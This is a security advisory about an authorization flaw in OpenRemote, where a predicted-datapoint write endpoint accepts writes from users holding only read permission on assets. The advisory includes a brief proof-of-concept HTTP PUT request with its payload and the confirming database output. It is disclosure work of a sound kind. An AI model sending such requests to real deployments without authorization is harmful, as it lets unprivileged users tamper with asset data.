OpenRemote read-only asset users can write predicted datapoints

Published Jul 6, 2026·Updated Jul 6, 2026

NVD Description

# Summary The predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. The endpoint: ```text PUT /api/{realm}/asset/predicted/{assetId}/{attributeName} ``` accepts write requests from users lacking `write:assets`. The implementation appears to check `READ_ASSETS` while performing a write operation through: ```java assetPredictedDatapointService.updateValues(...) ``` # PoC A user was created with only: ```text read:assets ``` and without `write:assets`. The following request succeeded: ```http PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature ``` Request body: ```json [{"x":1779199999001,"y":1337}] ``` Response: ```text HTTP/2 204 ``` Database verification confirmed the datapoint was written successfully: ```text entity_id: 4Fr8Pcp7iDjrEmoSUFolvT attribute_name: temperature value: 1337 ``` # Impact Users with read-only asset permissions can modify predicted datapoints for assets.
